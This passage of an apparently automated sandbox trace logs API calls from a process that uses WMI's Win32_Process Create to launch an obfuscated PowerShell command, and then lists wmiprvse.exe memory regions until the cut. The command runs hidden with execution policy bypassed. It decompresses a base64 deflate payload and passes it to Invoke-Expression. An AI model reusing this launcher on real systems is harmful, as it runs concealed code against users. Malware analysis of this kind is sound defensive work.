cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0089.766] lstrlenW (lpString="CALL") returned 4 [0089.766] lstrlenW (lpString="CAll") returned 4 [0089.766] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0089.767] ??0CHString@@QEAA@XZ () returned 0x1afa30 [0089.767] GetCurrentThreadId () returned 0xaf0 [0089.767] SysStringLen (param_1="\\\\") returned 0x2 [0089.767] SysStringLen (param_1="YKYD69Q") returned 0x7 [0089.767] SysStringLen (param_1="\\\\YKYD69Q") returned 0x9 [0089.767] SysStringLen (param_1="\\") returned 0x1 [0089.767] SysStringLen (param_1="\\\\YKYD69Q\\") returned 0xa [0089.767] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0089.768] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1ee1390, strNetworkResource="\\\\YKYD69Q\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1000129d0 | out: ppNamespace=0x1000129d0*=0x1ef3c18) returned 0x0 [0089.774] CoSetProxyBlanket (pProxy=0x1ef3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0089.775] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.775] ??0CHString@@QEAA@XZ () returned 0x1af7d8 [0089.775] GetCurrentThreadId () returned 0xaf0 [0089.775] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0089.775] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x19001a0031 | out: _String=0x0, _Context=0x19001a0031) returned="*" [0089.775] lstrlenW (lpString="FROM") returned 4 [0089.775] lstrlenW (lpString="*") returned 1 [0089.775] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0089.776] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a001a0031 | out: _String=0x0, _Context=0x1a001a0031) returned="from" [0089.776] lstrlenW (lpString="FROM") returned 4 [0089.776] lstrlenW (lpString="from") returned 4 [0089.776] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0089.776] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1b001a0031 | out: _String=0x0, _Context=0x1b001a0031) returned="Win32_Process" [0089.776] IWbemServices:GetObject (in: This=0x1ef3c18, strObjectPath="Win32_Process", lFlags=131072, pCtx=0x0, ppObject=0x1af808*=0x0, ppCallResult=0x0 | out: ppObject=0x1af808*=0x1f05d60, ppCallResult=0x0) returned 0x0 [0090.011] IWbemClassObject:GetMethod (in: This=0x1f05d60, wszName="Create", lFlags=0, ppInSignature=0x1af800, ppOutSignature=0x1af818 | out: ppInSignature=0x1af800*=0x1f07500, ppOutSignature=0x1af818*=0x1f07e00) returned 0x0 [0090.011] IWbemClassObject:SpawnInstance (in: This=0x1f07500, lFlags=0, ppNewInstance=0x1af7f0 | out: ppNewInstance=0x1af7f0*=0x1f08170) returned 0x0 [0090.011] IWbemClassObject:GetNames (in: This=0x1f07500, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x0, pNames=0x1af7f8 | out: pNames=0x1af7f8*="\x01ƀ\x08") returned 0x0 [0090.011] SafeArrayGetLBound (in: psa=0x2c2ee0, nDim=0x1, plLbound=0x1af838 | out: plLbound=0x1af838) returned 0x0 [0090.011] SafeArrayGetUBound (in: psa=0x2c2ee0, nDim=0x1, plUbound=0x1af82c | out: plUbound=0x1af82c) returned 0x0 [0090.011] SafeArrayGetElement (in: psa=0x2c2ee0, rgIndices=0x1afa30, pv=0x1af7d0 | out: pv=0x1af7d0) returned 0x0 [0090.011] IWbemClassObject:GetPropertyQualifierSet (in: This=0x1f08170, wszProperty="CommandLine", ppQualSet=0x1af628 | out: ppQualSet=0x1af628*=0x1f09820) returned 0x0 [0090.012] IWbemQualifierSet:Get (in: This=0x1f09820, wszName="CIMTYPE", lFlags=0, pVal=0x1af6b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d18b0, varVal2=0x3), plFlavor=0x0 | out: pVal=0x1af6b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="string", varVal2=0x3), plFlavor=0x0) returned 0x0 [0090.012] IWbemClassObject:Get (in: This=0x1f08170, wszName="CommandLine", lFlags=0, pVal=0x1af758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffffffffffffffe, varVal2=0x3d18b8), pType=0x1af638*=1767040, plFlavor=0x0 | out: pVal=0x1af758*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffffffffffffffe, varVal2=0x3d18b8), pType=0x1af638*=8, plFlavor=0x0) returned 0x0 [0090.012] IWbemQualifierSet:Get (in: This=0x1f09820, wszName="read", lFlags=0, pVal=0x1af640*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1000129b8, varVal2=0x1), plFlavor=0x0 | out: pVal=0x1af640*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1000129b8, varVal2=0x1), plFlavor=0x0) returned 0x80041002 [0090.012] IWbemQualifierSet:Get (in: This=0x1f09820, wszName="write", lFlags=0, pVal=0x1af640*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1000129b8, varVal2=0x1), plFlavor=0x0 | out: pVal=0x1af640*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1000129b8, varVal2=0x1), plFlavor=0x0) returned 0x80041002 [0090.013] IWbemQualifierSet:Get (in: This=0x1f09820, wszName="Description", lFlags=0, pVal=0x1af6f0*(varType=0x0, wReserved1=0x1a, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffb4293, varVal2=0x3be7e0), plFlavor=0x0 | out: pVal=0x1af6f0*(varType=0x0, wReserved1=0x1a, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffb4293, varVal2=0x3be7e0), plFlavor=0x0) returned 0x80041002 [0090.013] IUnknown:Release (This=0x1f09820) returned 0x0 [0090.013] SysStringLen (param_1="In") returned 0x2 [0090.013] SysStringLen (param_1="MaxLen") returned 0x6 [0090.013] lstrlenW (lpString="") returned 0 [0090.013] lstrlenW (lpString="STRING") returned 6 [0090.013] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0090.013] lstrlenW (lpString="string") returned 6 [0090.013] lstrlenW (lpString="STRING") returned 6 [0090.013] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0090.013] SysStringLen (param_1="In") returned 0x2 [0090.013] SysStringLen (param_1="ValueMap") returned 0x8 [0090.014] SysStringLen (param_1="In") returned 0x2 [0090.014] SysStringLen (param_1="Values") returned 0x6 [0090.014] IWbemClassObject:GetPropertyQualifierSet (in: This=0x1f08170, wszProperty="CommandLine", ppQualSet=0x1af718 | out: ppQualSet=0x1af718*=0x1f09820) returned 0x0 [0090.014] IWbemQualifierSet:Get (in: This=0x1f09820, wszName="CIMTYPE", lFlags=0, pVal=0x1af730*(varType=0x0, wReserved1=0xa1cf, wReserved2=0x7063, wReserved3=0x0, varVal1=0xfffb738f, varVal2=0x100012ac0), plFlavor=0x0 | out: pVal=0x1af730*(varType=0x8, wReserved1=0xa1cf, wReserved2=0x7063, wReserved3=0x0, varVal1="string", varVal2=0x100012ac0), plFlavor=0x0) returned 0x0 [0090.015] IWbemClassObject:Get (in: This=0x1f08170, wszName="CommandLine", lFlags=0, pVal=0x1af748*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1, varVal2=0x3d50a0), pType=0x1af798*=0, plFlavor=0x0 | out: pVal=0x1af748*(varType=0x1, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1, varVal2=0x3d50a0), pType=0x1af798*=8, plFlavor=0x0) returned 0x0 [0090.015] IUnknown:Release (This=0x1f09820) returned 0x0 [0090.015] lstrlenW (lpString="string") returned 6 [0090.015] lstrlenW (lpString="string") returned 6 [0090.015] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="string", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0090.015] IWbemClassObject:Put (This=0x1f08170, wszName="CommandLine", lFlags=0, pVal=0x1af8e8*(varType=0x8, wReserved1=0x2c, wReserved2=0x0, wReserved3=0x0, varVal1="poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) ", varVal2=0x7feff5a000c), Type=0) returned 0x0 [0090.015] IUnknown:Release (This=0x1f07500) returned 0x0 [0090.015] IUnknown:Release (This=0x1f07e00) returned 0x0 [0090.015] IUnknown:Release (This=0x1f05d60) returned 0x0 [0090.015] ??0CHString@@QEAA@XZ () returned 0x1af620 [0090.015] GetCurrentThreadId () returned 0xaf0 [0090.016] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0090.016] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0090.016] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2a001e002f | out: _String=0x0, _Context=0x2a001e002f) returned="*" [0090.016] lstrlenW (lpString="FROM") returned 4 [0090.016] lstrlenW (lpString="*") returned 1 [0090.016] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0090.016] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2b001e002f | out: _String=0x0, _Context=0x2b001e002f) returned="from" [0090.016] lstrlenW (lpString="FROM") returned 4 [0090.016] lstrlenW (lpString="from") returned 4 [0090.016] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0090.017] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2c001e002f | out: _String=0x0, _Context=0x2c001e002f) returned="Win32_Process" [0090.017] ??0CHString@@QEAA@XZ () returned 0x1aec98 [0090.017] GetCurrentThreadId () returned 0xaf0 [0090.017] LoadStringW (in: hInstance=0x0, uID=0xb7ea, lpBuffer=0x1ae3f0, cchBufferMax=1024 | out: lpBuffer="Executing (%1)->%2()\r\n") returned 0x16 [0090.017] FormatMessageW (in: dwFlags=0x2500, lpSource=0x1ae3f0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1ae3c0, nSize=0x0, Arguments=0x1ae3c8 | out: lpBuffer="\xa2f0\x2b") returned 0x25 [0090.017] LocalFree (hMem=0x2ba2f0) returned 0x0 [0090.017] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Executing (Win32_Process)->Create()\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0090.017] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x100012ab0 [0090.017] fprintf (in: _File=0x7feff632ab0, _Format="%s" | out: _File=0x7feff632ab0) returned 37 [0090.019] fflush (in: _File=0x7feff632ab0 | out: _File=0x7feff632ab0) returned 0 [0090.019] IWbemServices:ExecMethod (in: This=0x1ef3c18, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1f08170, ppOutParams=0x1aec78*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1aec78*=0x1ef4070, ppCallResult=0x0) returned 0x0 [0090.840] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x100012ab0 [0090.840] fprintf (in: _File=0x7feff632ab0, _Format="%s" | out: _File=0x7feff632ab0) returned 30 [0090.840] fflush (in: _File=0x7feff632ab0 | out: _File=0x7feff632ab0) returned 0 [0090.840] IUnknown:AddRef (This=0x1ef4070) returned 0x2 [0090.840] ??0CHString@@QEAA@XZ () returned 0x1aec38 [0090.840] GetCurrentThreadId () returned 0xaf0 [0090.841] IWbemClassObject:GetObjectText (in: This=0x1ef4070, lFlags=0, pstrObjectText=0x1aec30 | out: pstrObjectText=0x1aec30*="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 2908;\n\x09ReturnValue = 0;\n};\n") returned 0x0 [0090.842] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x100012ab0 [0090.842] fprintf (in: _File=0x7feff632ab0, _Format="%s" | out: _File=0x7feff632ab0) returned 15 [0090.844] fflush (in: _File=0x7feff632ab0 | out: _File=0x7feff632ab0) returned 0 [0090.844] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 2908;\n\x09ReturnValue = 0;\n};\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0090.844] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x100012ab0 [0090.844] fprintf (in: _File=0x7feff632ab0, _Format="%s" | out: _File=0x7feff632ab0) returned 68 [0090.845] fflush (in: _File=0x7feff632ab0 | out: _File=0x7feff632ab0) returned 0 [0090.845] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0090.845] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x100012ab0 [0090.845] fprintf (in: _File=0x7feff632ae0, _Format="%s" | out: _File=0x7feff632ae0) returned 1 [0090.845] fflush (in: _File=0x7feff632ae0 | out: _File=0x7feff632ae0) returned 0 [0090.845] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0090.845] IUnknown:Release (This=0x1ef4070) returned 0x1 [0090.845] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0090.845] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0090.846] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0090.847] GetCurrentThreadId () returned 0xaf0 [0090.847] ??0CHString@@QEAA@PEBG@Z () returned 0x1afb28 [0090.847] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1afb28 [0090.847] lstrlenW (lpString="LIST") returned 4 [0090.847] lstrlenW (lpString="CAll") returned 4 [0090.847] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0090.847] lstrlenW (lpString="ASSOC") returned 5 [0090.847] lstrlenW (lpString="CAll") returned 4 [0090.847] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0090.847] lstrlenW (lpString="GET") returned 3 [0090.847] lstrlenW (lpString="CAll") returned 4 [0090.847] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0090.847] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0090.847] WbemLocator:IUnknown:Release (This=0x1ef3c18) returned 0x0 [0090.847] ?Empty@CHString@@QEAAXXZ () returned 0x7fee550482c [0090.847] _kbhit () returned 0x0 [0090.854] IUnknown:Release (This=0x1ef4070) returned 0x0 [0090.854] ?Empty@CHString@@QEAAXXZ () returned 0x7fee550482c [0090.855] WbemLocator:IUnknown:Release (This=0x1ee1390) returned 0x2 [0090.855] WbemLocator:IUnknown:Release (This=0x1ef3b28) returned 0x0 [0090.863] WbemLocator:IUnknown:Release (This=0x1ef3a98) returned 0x0 [0090.880] WbemLocator:IUnknown:Release (This=0x1ee1390) returned 0x1 [0090.880] ?Empty@CHString@@QEAAXXZ () returned 0x7fee550482c [0090.880] WbemLocator:IUnknown:Release (This=0x1ee1390) returned 0x0 [0090.884] CoUninitialize () [0091.201] exit (_Code=0) [0091.201] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0091.201] ??1CHString@@QEAA@XZ () returned 0x7fee550482c Thread: id = 86 os_tid = 0xaf4 Thread: id = 87 os_tid = 0xaf8 Thread: id = 88 os_tid = 0xafc Thread: id = 89 os_tid = 0xb00 Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x47165000" os_pid = "0xb30" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005b00f" [0xc000000f] Region: id = 1190 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1191 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1192 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1193 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1194 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1195 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1196 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1197 start_va = 0xffaf0000 end_va = 0xffb4efff entry_point = 0xffaf0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1198 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1199 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1200 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1201 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1202 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1203 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1204 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1205 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1206 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1207 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1208 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1209 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1210 start_va = 0x1a0000 end_va = 0x25ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1211 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1212 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1213 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1214 start_va = 0x830000 end_va = 0x8affff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1215 start_va = 0x990000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 1216 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1217 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1218 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1219 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1220 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1221 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1222 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1223 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1224 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1225 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1226 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1227 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1228 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1229 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1230 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1231 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1232 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1233 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1234 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1235 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1236 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1237 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1238 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1239 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1240 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1241 start_va = 0x900000 end_va = 0x97ffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 1242 start_va = 0xa10000 end_va = 0xb0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1243 start_va = 0xb10000 end_va = 0xddefff entry_point = 0xb10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1244 start_va = 0xde0000 end_va = 0x11d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1245 start_va = 0x11e0000 end_va = 0x125ffff entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1246 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1247 start_va = 0x1490000 end_va = 0x150ffff entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 1248 start_va = 0x1560000 